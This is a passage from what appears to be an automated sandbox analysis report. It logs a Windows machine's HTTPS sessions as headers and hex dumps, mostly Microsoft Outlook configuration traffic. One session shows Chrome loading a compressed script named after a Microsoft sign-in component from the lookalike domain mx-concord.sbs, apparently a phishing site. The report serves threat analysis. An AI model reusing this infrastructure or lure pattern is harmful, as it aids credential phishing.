f3 99 47 ef 06 f4 ad 2f 98 9f d8 70 8c 09 d3 13 af Data Ascii: {0\|_'pM:iclN&~$2yNu)y\|[56FdO#fXwS`cO=f3OD]`}v*#'b+9ox;;n8`[67llcL611l"X4G/p
2024-08-28 20:20:53 UTC	14460	IN	Data Raw: 29 ae df bb f5 bf af 90 26 a8 ad c5 ef 9d e1 4c d1 6d 46 a3 a7 9b 0c 7f fc 8c 0b 74 ff 7b 64 d7 2e 6a e2 26 25 73 a1 55 93 49 b1 c7 fa 0b 3b da 93 03 a7 29 1a 1e 13 66 a7 ca ac 25 a6 bd 54 98 74 62 84 05 22 e9 04 a8 6b 4e b9 21 bc 50 24 9d 60 16 88 21 8a 78 d2 09 38 16 9c e2 44 d2 09 e6 88 c0 f4 52 38 fb be 1c 02 ec 85 8f 69 27 67 1f d2 4e ce 44 da c9 59 94 76 b2 80 8a a7 3c ed e4 0c b9 8a 77 c8 b3 48 3e 24 9e 9c 2d 27 9e 50 93 28 53 65 55 da c9 42 0f c7 c3 6c 07 ea 5f e2 9f 9b d7 85 f5 7a 63 fc 2b bd 21 50 bd 14 7b f8 a8 0c 5e 38 17 45 0e 8b ff 22 a3 26 29 32 86 e6 a2 04 cd 2e 62 cd b9 d8 4a 1b 47 b0 9e a6 e8 2d 37 c8 81 2b 4b 8f 79 b3 a2 55 c3 f2 4a 41 96 e7 f6 ad a8 bc 60 44 f5 73 06 95 27 31 8b 39 f3 e4 ef 26 c1 b7 a5 54 fd 2a d2 29 1e 27 05 4b 8b b7 Data Ascii: )&LmFt{d.j&%sUI;)f%Ttb"kN!P$`!x8DR8i'gNDYv<wH>$-'P(SeUBl_zc+!P{^8E"&)2.bJG-7+KyUJA`Ds'19&T*)'K
2024-08-28 20:20:53 UTC	16384	IN	Data Raw: 56 3e a8 71 24 5f b5 5c 06 92 02 53 f9 35 05 df fb 14 3f 7b 79 eb 0f 2b 15 51 17 f7 2e 44 19 49 5a 1f e8 43 89 a1 b3 ba 52 1d 22 b8 3b 54 43 88 21 3d b9 1f 0e 4f 31 a4 30 12 1f 6c 6b fd 44 29 24 f5 25 0d 15 4e 86 f8 54 fd a0 ab e3 89 9c ca 54 39 3d 7c 90 f2 8b 26 e0 4c f2 12 ca f3 67 c5 02 87 b1 09 93 4a e1 cf 3f c9 c6 82 02 c6 20 50 1e 83 62 59 a0 c5 cd 30 9a f7 a2 a6 51 da 44 c3 5e 42 fa ea cd 3c 9f 04 ee e7 b0 92 33 61 f1 7a e2 dc 4f ec e8 11 21 90 f1 02 13 e8 31 bd de d8 dd 57 ef b4 fe 7a c8 85 ee d3 4b 3b 4d 6c ba 5e f0 fd 35 3b 8f 5d 86 b3 c2 59 f2 2d 7d ee 1d 22 14 64 0e 50 3a 5e f8 55 b6 e8 74 36 e8 93 d9 a0 d9 e7 71 1b 70 35 37 72 ae 90 49 1e 11 be ee 46 d5 37 de 71 d8 35 f1 63 58 aa 61 43 c6 58 f3 db 31 8f fe 2b 20 10 f4 61 35 c7 0b f0 12 b1 37 Data Ascii: V>q$_\S5?{y+Q.DIZCR";TC!=O10lkD)$%NTT9=\|&LgJ? PbY0QD^B<3azO!1WzK;Ml^5;]Y-}"dP:^Ut6qp57rIF7q5cXaCX1+ a57
2024-08-28 20:20:53 UTC	10519	IN	Data Raw: f2 52 dc 99 42 9c 64 2c dc 87 97 16 ee 4f 17 2f c4 b7 29 9a 64 98 15 a9 51 fd 89 a3 4a 62 94 98 84 cd a1 f1 a1 44 42 99 2c 03 84 19 5a e3 df d7 79 b0 6b f5 61 ed 5a 45 2b ef c3 ce 03 95 e3 df 8e 2b 8b b6 d7 b9 4f 09 74 18 52 d3 be 2b d5 36 d9 b9 d2 f1 7b eb e5 ae e1 4d af 43 73 6a 4e fa c1 82 ef 68 94 70 ed 0f 84 2f 42 a7 ca 2a 3c 76 0f c0 95 1e 1a ff bd 49 72 37 04 a4 b5 83 a7 c5 cd a8 ca 70 39 a5 39 98 13 36 35 0b 39 c2 16 53 de da e2 6a dd 6e 1c 3a 1b 78 65 8c f1 c5 3a 4f c1 ce 8d 1a e6 9d 8c c3 41 04 14 ec 52 a0 96 f2 8d de 58 40 cb 1f dd 40 02 a8 23 35 18 b3 3e 1b 4a c6 33 73 e2 26 d1 80 ad 6d c7 67 6a 47 6a ae dd 36 68 50 f7 d7 af 79 2c 3e 9b 21 e5 8c af d8 7e 3b 35 09 56 e9 b5 a3 21 e3 d5 a9 1a cb e7 83 44 5f 7c a9 71 cb 25 8b 24 7e 4a e1 f7 38 6b Data Ascii: RBd,O/)dQJbDB,ZykaZE++OtR+6{MCsjNhp/B*<vIr7p99659Sjn:xe:OARX@@#5>J3s&mgjGj6hPy,>!~;5V!D_\|q%$~J8k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49737	13.107.5.88	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:53 UTC	530	OUT	GET /ab?clientId=B5786FF8-3453-4616-B94D-5348C714CD0F HTTP/1.1 X-OfficeApp-BuildVersion: 16.0.11629.20316 Accept-Encoding: gzip, deflate X-OfficeApp-Platform: universal X-OfficeApp-Language: en-CH X-OutlookMobile-Architecture: x64 X-OutlookMobile-BuildFlavor: ship X-OutlookMobile-Environment: Production X-OfficeApp-MsoVersion: 10.0.19045 X-OutlookMobile-HxServiceAccounts: None Content-Length: 0 Content-Encoding: gzip Host: outlookmobile-office365-tas.msedge.net Connection: Keep-Alive Cache-Control: no-cache
2024-08-28 20:20:54 UTC	437	IN	HTTP/1.1 200 OK Content-Length: 10798 Content-Type: application/json; charset=utf-8 ETag: -360707600_980249030 Strict-Transport-Security: max-age=2592000 X-Content-Type-Options: nosniff X-ExP-TrackingId: a3d6e1d1-f34a-49d5-b684-966c5bd914fd X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B248D4C853D24AA4B91B9BC4B2D283F7 Ref B: EWR311000105011 Ref C: 2024-08-28T20:20:53Z Date: Wed, 28 Aug 2024 20:20:53 GMT Connection: close
2024-08-28 20:20:54 UTC	1024	IN	Data Raw: 7b 22 46 65 61 74 75 72 65 73 22 3a 5b 22 6f 75 75 6e 69 31 32 32 31 22 2c 22 65 78 70 66 72 66 6c 74 6f 75 75 6e 69 31 32 32 31 22 2c 22 6f 75 66 69 72 31 37 33 31 22 2c 22 6f 75 6d 61 6e 33 32 32 31 22 2c 22 6f 75 75 73 65 36 38 37 31 22 2c 22 6f 75 69 6e 74 31 33 30 31 22 2c 22 6f 75 63 61 6c 38 32 38 31 22 2c 22 6f 75 6d 61 69 31 33 36 31 22 2c 22 6f 75 73 69 6e 37 38 39 31 22 2c 22 6f 75 63 61 6c 34 35 34 31 22 2c 22 6f 75 62 72 65 35 30 30 31 22 2c 22 6f 75 61 74 74 37 31 35 31 22 2c 22 6f 75 68 78 68 36 34 31 31 22 2c 22 6f 75 72 65 70 31 35 39 31 22 2c 22 6f 75 63 61 6c 38 36 38 31 22 2c 22 6f 75 65 6e 68 33 34 37 31 22 2c 22 6f 75 6d 61 69 38 38 38 31 22 2c 22 6f 75 69 6e 74 32 35 37 31 22 2c 22 6f 75 6d 61 72 39 30 34 31 22 2c 22 6f 75 6d 69 63 Data Ascii: {"Features":["ouuni1221","expfrfltouuni1221","oufir1731","ouman3221","ouuse6871","ouint1301","oucal8281","oumai1361","ousin7891","oucal4541","oubre5001","ouatt7151","ouhxh6411","ourep1591","oucal8681","ouenh3471","oumai8881","ouint2571","oumar9041","oumic
2024-08-28 20:20:54 UTC	1024	IN	Data Raw: 6f 75 73 74 6f 37 37 32 31 22 2c 22 6f 75 64 6f 6e 37 30 32 31 22 2c 22 6f 75 65 6e 61 32 34 31 30 22 2c 22 6f 75 73 74 6f 34 37 32 22 2c 22 6f 66 66 6c 69 6e 65 73 65 61 72 63 68 61 76 6f 69 64 61 70 70 6f 69 6e 74 6d 65 6e 74 69 6e 73 74 61 6e 63 65 69 6e 64 65 78 69 6e 67 22 2c 22 6f 6d 69 6e 61 6c 6c 64 6f 6e 65 66 69 78 65 64 22 2c 22 73 68 72 69 6e 6b 74 65 6c 65 6d 65 74 72 79 66 6f 72 6d 65 74 61 64 61 74 61 22 2c 22 6f 75 73 65 61 37 38 31 22 2c 22 6f 75 63 61 6c 32 34 36 22 2c 22 64 69 73 6d 69 73 73 22 2c 22 6f 75 75 73 69 35 35 38 22 2c 22 6f 75 6d 33 36 38 34 30 22 2c 22 6f 75 61 6c 77 34 33 37 22 2c 22 75 6e 65 6e 34 30 34 63 66 22 2c 22 6f 75 75 73 65 73 6d 74 70 63 6c 69 65 6e 74 76 32 22 2c 22 63 6f 6d 70 72 65 73 73 65 64 73 65 72 76 69 Data Ascii: ousto7721","oudon7021","ouena2410","ousto472","offlinesearchavoidappointmentinstanceindexing","ominalldonefixed","shrinktelemetryformetadata","ousea781","oucal246","dismiss","ouusi558","oum36840","oualw437","unen404cf","ouusesmtpclientv2","compressedservi
2024-08-28 20:20:54 UTC	1024	IN	Data Raw: 22 3a 22 6f 75 6d 61 69 38 38 38 31 22 2c 22 31 74 62 22 3a 22 6f 75 69 6e 74 32 35 37 31 22 2c 22 31 74 61 22 3a 22 6f 75 6d 61 72 39 30 34 31 22 2c 22 31 74 39 22 3a 22 6f 75 6d 69 63 34 31 36 31 22 2c 22 31 74 38 22 3a 22 6f 75 6d 6f 64 39 33 30 31 22 2c 22 31 74 37 22 3a 22 6f 75 6d 75 6c 37 36 39 31 22 2c 22 31 74 35 22 3a 22 6f 75 6e 61 76 37 30 30 31 22 2c 22 31 74 31 22 3a 22 6f 75 73 65 61 37 31 37 31 22 2c 22 31 73 78 22 3a 22 6f 75 73 75 70 33 34 38 31 22 2c 22 31 73 76 22 3a 22 6f 75 75 73 65 31 32 31 31 22 2c 22 31 73 74 22 3a 22 6f 75 61 64 64 39 37 35 31 22 2c 22 31 73 6b 22 3a 22 6f 75 69 6e 74 37 38 35 31 22 2c 22 31 73 6a 22 3a 22 6f 75 73 68 61 35 37 34 31 22 2c 22 31 73 69 22 3a 22 6f 75 73 69 6d 34 36 37 31 22 2c 22 31 73 68 22 3a 22 Data Ascii: ":"oumai8881","1tb":"ouint2571","1ta":"oumar9041","1t9":"oumic4161","1t8":"oumod9301","1t7":"oumul7691","1t5":"ounav7001","1t1":"ousea7171","1sx":"ousup3481","1sv":"ouuse1211","1st":"ouadd9751","1sk":"ouint7851","1sj":"ousha5741","1si":"ousim4671","1sh":"
2024-08-28 20:20:54 UTC	1024	IN	Data Raw: 31 69 22 3a 22 6f 75 73 79 6e 37 30 32 31 22 2c 22 68 76 64 22 3a 22 6f 75 73 68 6f 33 36 33 31 22 2c 22 69 6d 74 22 3a 22 6f 75 73 79 6e 33 37 37 31 22 2c 22 6a 35 6b 22 3a 22 6f 75 75 70 73 31 36 35 31 22 2c 22 6a 75 73 22 3a 22 6f 75 64 65 66 36 35 39 31 22 2c 22 6c 33 61 22 3a 22 6f 75 65 6e 68 39 32 38 31 22 2c 22 6d 6b 38 22 3a 22 6f 75 73 79 6e 38 30 37 31 22 2c 22 6d 6c 62 22 3a 22 6f 75 68 78 73 37 33 34 31 22 2c 22 6e 61 6c 22 3a 22 6f 75 73 79 6e 34 33 30 31 22 2c 22 6e 72 61 22 3a 22 6f 75 73 79 6e 31 35 34 31 22 2c 22 6e 72 77 22 3a 22 6f 75 73 74 6f 37 37 32 31 22 2c 22 71 6f 74 22 3a 22 6f 75 64 6f 6e 37 30 32 31 22 2c 22 77 6a 78 22 3a 22 6f 75 65 6e 61 32 34 31 30 22 2c 22 7a 74 6e 22 3a 22 6f 75 73 74 6f 34 37 32 22 2c 22 31 32 73 30 22 Data Ascii: 1i":"ousyn7021","hvd":"ousho3631","imt":"ousyn3771","j5k":"ouups1651","jus":"oudef6591","l3a":"ouenh9281","mk8":"ousyn8071","mlb":"ouhxs7341","nal":"ousyn4301","nra":"ousyn1541","nrw":"ousto7721","qot":"oudon7021","wjx":"ouena2410","ztn":"ousto472","12s0"
2024-08-28 20:20:54 UTC	1024	IN	Data Raw: 22 2c 22 36 38 61 73 22 3a 22 6e 65 77 61 70 70 70 65 72 6d 61 74 6f 67 67 6c 65 76 69 61 63 61 6c 6c 62 61 63 6b 66 69 6c 65 32 22 2c 22 36 39 74 6a 22 3a 22 6e 65 77 61 70 70 74 6f 67 67 6c 65 63 61 6d 70 61 69 67 6e 66 33 22 7d 2c 22 43 6f 6e 66 69 67 73 22 3a 5b 7b 22 49 64 22 3a 22 4f 75 74 6c 6f 6f 6b 4d 6f 62 69 6c 65 22 2c 22 50 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 41 64 64 52 6f 6f 6d 55 49 55 70 64 61 74 65 22 3a 74 72 75 65 2c 22 41 6c 77 61 79 73 53 61 76 65 53 65 6e 74 49 74 65 6d 73 46 6f 72 44 69 72 65 63 74 53 79 6e 63 22 3a 66 61 6c 73 65 2c 22 41 74 74 61 63 68 6d 65 6e 74 4d 65 74 61 64 61 74 61 22 3a 74 72 75 65 2c 22 42 72 65 61 64 74 68 46 69 72 73 74 53 79 6e 63 22 3a 74 72 75 65 2c 22 43 61 6c 65 6e 64 61 72 41 70 69 43 6f 72 74 Data Ascii: ","68as":"newapppermatoggleviacallbackfile2","69tj":"newapptogglecampaignf3"},"Configs":[{"Id":"OutlookMobile","Parameters":{"AddRoomUIUpdate":true,"AlwaysSaveSentItemsForDirectSync":false,"AttachmentMetadata":true,"BreadthFirstSync":true,"CalendarApiCort
2024-08-28 20:20:54 UTC	1024	IN	Data Raw: 72 75 65 2c 22 46 65 61 74 75 72 65 50 72 6f 6d 6f 74 69 6f 6e 73 43 6f 6e 74 72 6f 6c 46 6c 69 67 68 74 32 22 3a 74 72 75 65 2c 22 46 65 77 65 72 49 6e 69 74 69 61 6c 69 7a 65 44 65 76 69 63 65 52 65 63 6f 6e 6e 65 63 74 73 22 3a 74 72 75 65 2c 22 46 69 72 73 74 52 75 6e 4f 70 65 6e 41 63 63 6f 75 6e 74 73 44 69 61 6c 6f 67 22 3a 74 72 75 65 2c 22 46 69 72 73 74 52 75 6e 55 70 53 65 6c 6c 4d 75 6c 74 69 41 63 63 6f 75 6e 74 22 3a 74 72 75 65 2c 22 46 69 72 73 74 53 79 6e 63 50 6f 6c 6c 69 6e 67 22 3a 74 72 75 65 2c 22 48 74 6d 6c 53 69 67 6e 61 74 75 72 65 45 64 69 74 6f 72 22 3a 74 72 75 65 2c 22 48 78 48 61 6e 64 73 68 61 6b 65 43 61 6c 65 6e 64 61 72 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 48 78 49 6d 6d 49 64 48 61 6e 64 73 68 61 6b 65 22 3a 74 Data Ascii: rue,"FeaturePromotionsControlFlight2":true,"FewerInitializeDeviceReconnects":true,"FirstRunOpenAccountsDialog":true,"FirstRunUpSellMultiAccount":true,"FirstSyncPolling":true,"HtmlSignatureEditor":true,"HxHandshakeCalendarEnabled":true,"HxImmIdHandshake":t
2024-08-28 20:20:54 UTC	1024	IN	Data Raw: 6c 6c 6f 77 41 75 74 6f 54 6f 67 67 6c 65 56 69 61 43 61 6c 6c 62 61 63 6b 46 69 6c 65 22 3a 74 72 75 65 2c 22 4e 65 77 41 70 70 45 78 69 74 41 6c 6c 41 70 70 73 4f 6e 4e 65 77 41 70 70 4c 61 75 6e 63 68 22 3a 74 72 75 65 2c 22 4e 65 77 41 70 70 4c 61 75 6e 63 68 46 69 6c 65 73 43 61 6c 65 6e 64 61 72 22 3a 74 72 75 65 2c 22 4e 65 77 41 70 70 50 65 72 6d 61 54 6f 67 67 6c 65 56 69 61 43 61 6c 6c 62 61 63 6b 46 69 6c 65 22 3a 74 72 75 65 2c 22 4e 65 77 41 70 70 53 74 6f 70 43 61 6c 65 6e 64 61 72 52 65 6d 69 6e 64 65 72 73 57 68 65 6e 54 6f 67 67 6c 65 64 22 3a 74 72 75 65 2c 22 4e 65 77 41 70 70 54 6f 67 67 6c 65 43 61 6d 70 61 69 67 6e 45 43 68 65 63 6b 4d 6f 6e 61 72 63 68 49 6e 73 74 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 4e 65 77 41 70 70 54 6f 67 67 6c Data Ascii: llowAutoToggleViaCallbackFile":true,"NewAppExitAllAppsOnNewAppLaunch":true,"NewAppLaunchFilesCalendar":true,"NewAppPermaToggleViaCallbackFile":true,"NewAppStopCalendarRemindersWhenToggled":true,"NewAppToggleCampaignECheckMonarchInstall":false,"NewAppToggl
2024-08-28 20:20:54 UTC	1024	IN	Data Raw: 56 69 65 77 22 3a 74 72 75 65 2c 22 53 6b 69 70 48 79 64 72 61 74 65 64 46 69 72 73 74 52 75 6e 22 3a 74 72 75 65 2c 22 53 70 65 6c 6c 43 6f 72 72 65 63 74 65 64 53 65 61 72 63 68 22 3a 74 72 75 65 2c 22 53 74 6f 72 61 67 65 50 61 67 65 43 6f 61 6c 65 73 63 65 4f 6e 49 64 6c 65 22 3a 74 72 75 65 2c 22 53 74 6f 72 65 43 6f 6c 6c 65 63 74 69 6f 6e 49 64 43 61 63 68 65 41 6e 64 4f 6a 65 63 74 49 64 49 6e 64 65 78 44 61 74 61 56 61 6c 69 64 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 53 74 6f 72 65 43 6f 6c 6c 65 63 74 69 6f 6e 49 6e 64 65 78 57 69 74 68 6f 75 74 53 6f 72 74 22 3a 74 72 75 65 2c 22 53 74 6f 72 65 43 6f 6c 6c 65 63 74 69 6f 6e 4f 62 6a 65 63 74 49 64 73 44 61 74 61 56 61 6c 69 64 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 53 74 6f 72 65 43 6f 6c Data Ascii: View":true,"SkipHydratedFirstRun":true,"SpellCorrectedSearch":true,"StoragePageCoalesceOnIdle":true,"StoreCollectionIdCacheAndOjectIdIndexDataValidation":false,"StoreCollectionIndexWithoutSort":true,"StoreCollectionObjectIdsDataValidation":false,"StoreCol
2024-08-28 20:20:54 UTC	1024	IN	Data Raw: 56 69 65 77 22 3a 66 61 6c 73 65 2c 22 57 6f 72 64 44 61 72 6b 54 68 65 6d 65 22 3a 74 72 75 65 7d 7d 2c 7b 22 49 64 22 3a 22 55 6e 69 76 65 72 73 61 6c 52 65 61 63 74 22 2c 22 50 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 45 6e 61 62 6c 65 4d 69 63 72 6f 73 6f 66 74 52 65 77 61 72 64 73 22 3a 66 61 6c 73 65 7d 7d 5d 2c 22 50 61 72 61 6d 65 74 65 72 47 72 6f 75 70 73 22 3a 6e 75 6c 6c 2c 22 46 6c 69 67 68 74 69 6e 67 56 65 72 73 69 6f 6e 22 3a 35 33 35 30 33 36 33 34 2c 22 49 6d 70 72 65 73 73 69 6f 6e 49 64 22 3a 22 41 33 44 36 45 31 44 31 46 33 34 41 34 39 44 35 42 36 38 34 39 36 36 43 35 42 44 39 31 34 46 44 22 2c 22 41 73 73 69 67 6e 6d 65 6e 74 43 6f 6e 74 65 78 74 22 3a 22 6f 75 75 6e 69 31 32 32 31 3a 2d 31 3b 65 78 70 66 72 66 6c 74 6f 75 75 6e 69 31 Data Ascii: View":false,"WordDarkTheme":true}},{"Id":"UniversalReact","Parameters":{"EnableMicrosoftRewards":false}}],"ParameterGroups":null,"FlightingVersion":53503634,"ImpressionId":"A3D6E1D1F34A49D5B684966C5BD914FD","AssignmentContext":"ouuni1221:-1;expfrfltouuni1
2024-08-28 20:20:54 UTC	1024	IN	Data Raw: 65 39 39 31 31 3a 32 39 38 39 33 39 3b 6f 75 65 6e 63 39 39 33 31 3a 33 30 31 38 35 30 3b 6f 75 69 6e 6b 37 34 39 31 3a 33 34 31 31 36 39 3b 6f 75 73 74 6f 38 30 35 31 3a 34 30 34 34 39 38 3b 6f 75 63 61 6c 36 32 33 31 3a 33 30 30 37 30 38 34 35 3b 6f 75 73 65 72 34 36 30 31 3a 33 32 39 31 31 35 3b 6f 75 6e 65 77 39 37 37 31 3a 33 32 39 31 31 39 3b 6f 75 72 65 6d 32 37 33 31 3a 33 35 37 32 39 39 3b 6f 75 66 65 61 34 32 39 31 3a 33 36 37 33 30 35 3b 6f 75 73 75 70 36 36 33 30 3a 33 30 30 31 32 39 38 33 3b 6f 75 76 61 6c 32 33 33 30 3a 33 32 38 36 31 35 3b 6f 75 65 6e 61 39 31 35 31 3a 33 35 35 33 37 36 3b 6f 75 73 65 6e 33 32 36 31 3a 33 39 33 35 33 33 3b 6f 75 77 65 65 31 35 33 30 3a 33 34 30 32 32 39 3b 6f 33 36 35 63 68 65 63 6b 66 6f 72 67 6d 61 69 6c Data Ascii: e9911:298939;ouenc9931:301850;ouink7491:341169;ousto8051:404498;oucal6231:30070845;ouser4601:329115;ounew9771:329119;ourem2731:357299;oufea4291:367305;ousup6630:30012983;ouval2330:328615;ouena9151:355376;ousen3261:393533;ouwee1530:340229;o365checkforgmail

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49739	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:54 UTC	639	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js HTTP/1.1 Host: a230fc93-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://portal.mx-concord.sbs sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:20:55 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:20:55 GMT Content-Type: application/x-javascript Content-Length: 49814 Connection: close cache-control: public, max-age=31536000 last-modified: Mon, 05 Aug 2024 15:32:28 GMT etag: 0x8DCB563D09FF90F x-ms-request-id: 58f8827d-701e-0000-6147-f4fcfb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20240828T202055Z-158c5d5dcb8zbjwnth7xgvk91c00000009s0000000005cyf x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-08-28 20:20:55 UTC	15572	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 e0 ce 9d 06 ba 9b 19 20 0c 81 e9 d9 05 96 cb 89 15 f0 74 b0 b3 b6 c3 cb 40 ce 6f 3f f5 22 d9 b2 e3 d0 3d bb e7 3a 5f 9e 79 21 b6 54 92 a5 52 55 a9 aa 54 92 d6 7f 5a f9 9f ca 4f 95 b5 1f ff a7 32 38 ef 9d 9d 57 fa 9f 2a e7 5f 0e cf f6 2b a7 f0 f6 8f ca 49 ff fc 70 ef e0 c7 eb c1 8f e2 ff e7 77 7e 5c 19 fb 13 51 81 df a1 1b 0b af 12 06 95 30 aa f8 c1 28 8c a6 61 e4 26 22 ae dc c3 df c8 77 27 95 71 14 de 57 92 3b 51 99 46 e1 1f 62 94 c4 95 89 1f 27 50 68 28 26 e1 63 a5 0a d5 45 5e e5 d4 8d 92 e7 ca e1 a9 59 87 fa 05 d4 e6 df fa 01 94 1e 85 d3 67 78 be 4b 2a 41 98 f8 23 51 71 03 8f 6a 9b c0 4b 10 8b ca 2c f0 44 54 79 bc f3 47 77 95 63 7f 14 85 71 38 4e 2a 91 18 09 Data Ascii: m[80OL t@o?"=:_y!TRUTZO28W_+Ipw~\Q0(a&"w'qW;QFb'Ph(&cE^YgxKA#QqjK,DTyGwcq8N*
2024-08-28 20:20:55 UTC	12556	IN	Data Raw: 77 8e e0 d0 a6 2f bd 71 a2 b4 57 da 5c 87 87 25 cd 60 58 8e c4 2d 4e ad 1b 1a 28 47 10 3f 33 5a 3e 46 bc 65 2b c5 c3 c7 fc 85 42 b6 f1 b7 4f bd 4f 3b 9f b6 8d bc 52 c5 f3 16 77 73 00 e5 27 d2 38 b4 8d 58 7b 03 2e 80 2a 7d 95 75 9f bd f0 3c 9d e0 69 54 92 0e 40 a4 ab 30 9c 54 f3 53 f3 32 8c 02 fa 7d e9 ca 56 90 4a da 17 b0 b9 c2 43 2e b7 f6 3e f6 cf 10 8a e3 b7 49 a4 a8 49 28 d5 0d 41 59 e3 36 4b e1 be d9 c8 64 fa 66 93 fc 38 74 6a 0c 75 16 78 23 72 79 c7 a6 26 b6 6d 43 64 2f 6c 19 d9 74 bc 91 61 91 60 34 f0 4a 26 63 e9 09 b3 41 b5 65 76 92 3a 1d 46 75 11 80 41 e2 c1 88 1c 3c e1 b1 1f 00 db 07 eb f8 0f 26 f5 dc 01 a3 e2 d2 a0 e3 8d 8c eb 6a c9 01 95 a2 83 f7 5b 02 26 c1 28 09 c7 7c 76 1b 9d bd af 9d e4 96 7e ab 22 0f b4 ad 44 ea 4b 76 c5 a8 e1 29 90 30 a7 Data Ascii: w/qW\%`X-N(G?3Z>Fe+BOO;Rws'8X{.*}u<iT@0TS2}VJC.>II(AY6Kdf8tjux#ry&mCd/lta`4J&cAev:FuA<&j[&(\|v~"DKv)0
2024-08-28 20:20:56 UTC	16384	IN	Data Raw: 87 be 91 90 f8 a3 2d 25 63 de 01 09 bb 9e 13 e7 e5 1b d7 36 24 46 9d e4 e1 ce 7e 40 25 72 b5 d2 33 ce 93 2d 44 39 06 20 df f1 fe c9 c4 11 3b 8e eb 0c 71 39 74 3c fc 78 74 12 e4 40 aa 0d 49 54 a7 92 2b 59 ac ce 03 67 e8 76 0e 73 7c 7f 12 71 06 23 6f e8 3c a8 87 e3 f4 5f de 9a 71 0a c2 d3 7f 6d 68 99 ce e8 93 96 23 69 ad c3 64 8c f3 c1 46 12 87 eb 0f 25 a8 8b 9e 48 b8 88 22 a2 f4 cf 2c 14 99 16 38 c6 4c e4 9e ce 30 30 79 51 d2 36 ce 99 0b a4 e6 bd 65 84 63 ea 40 a7 b9 c5 04 5c 61 50 d8 e6 c3 e7 6e dc 14 36 68 ee c0 59 c3 e5 45 51 4d 7d 68 29 1c 5d 4d cd 52 d7 51 2e e4 6c f4 3a e5 33 07 f1 b5 0e 75 7d a5 a8 2c 1d 07 a6 7f e6 ce c6 7f d9 56 63 df 21 ae aa 84 78 68 54 23 d7 8e b6 56 6e fc a4 cd 95 89 0a 80 23 a9 d8 a7 73 07 9e d5 9c f0 22 07 93 49 dc 35 38 06 Data Ascii: -%c6$F~@%r3-D9 ;q9t<xt@IT+Ygvs\|q#o<_qmh#idF%H",8L00yQ6ec@\aPn6hYEQM}h)]MRQ.l:3u},Vc!xhT#Vn#s"I58
2024-08-28 20:20:56 UTC	5302	IN	Data Raw: c5 9d 37 19 6c 5f ab 02 f0 f0 a2 31 3a 8d 66 1c 84 e5 b0 cc 47 c4 18 5a 25 ce 89 71 09 1d 79 13 d2 91 b3 b6 f4 7e 54 95 67 a5 3e 91 7d 33 5a 53 4c d9 25 13 f2 44 6d d1 c4 62 ba 6e e4 c0 bd e4 c8 03 01 28 34 cf 8e 2c 5a 7b 49 ed 2f 57 0b 38 62 d2 a8 1f 91 24 8d 03 61 e2 7c 28 c1 4e 97 95 13 38 ef 54 97 0f dc ce ae a8 49 76 23 ed e4 61 df 07 1c 75 0e 37 70 8d 56 72 6c 4f 9c 37 47 f2 58 41 44 8a d0 ac 39 40 b8 6d b7 af 47 6c 8b 9a 5c ca df b0 ef 61 50 3f 44 8d f5 e5 9d 5d 81 16 00 e4 42 7c bd ea 4e 1d 58 a7 76 97 42 41 b3 b9 60 17 f7 7c 91 c0 30 a4 7e 12 97 3c cf 5d e7 d9 d1 d1 9b c1 7b 76 83 a5 92 0c 5f 35 12 67 54 3a 9a dd 4b 4f 7b cb d1 94 6d b2 51 a5 0b e2 88 99 08 c1 5c 37 77 53 70 4e 6c e1 b3 24 a2 cf 10 69 2e 16 41 eb ad 8d 7f e9 27 f4 7f df ed ed 21 Data Ascii: 7l_1:fGZ%qy~Tg>}3ZSL%Dmbn(4,Z{I/W8b$a\|(N8TIv#au7pVrlO7GXAD9@mGl\aP?D]B\|NXvBA`\|0~<]{v_5gT:KO{mQ\7wSpNl$i.A'!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49741	51.104.136.2	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:56 UTC	409	OUT	GET /settings/v2.0/office/olx?app=microsoft.windowscommunicationsapps&appVer=16.0.11629.20316&locale=en-CH&os=WINDOWS&osVer=10.0.19045&deviceClass=Windows.Desktop&deviceId=B5786FF8-3453-4616-B94D-5348C714CD0F&ring=7 HTTP/1.1 Accept: / User-Agent: microsoft.windowscommunicationsapps Accept-Language: en-CH Accept-Encoding: gzip, deflate, br Host: settings.data.microsoft.com Connection: Keep-Alive
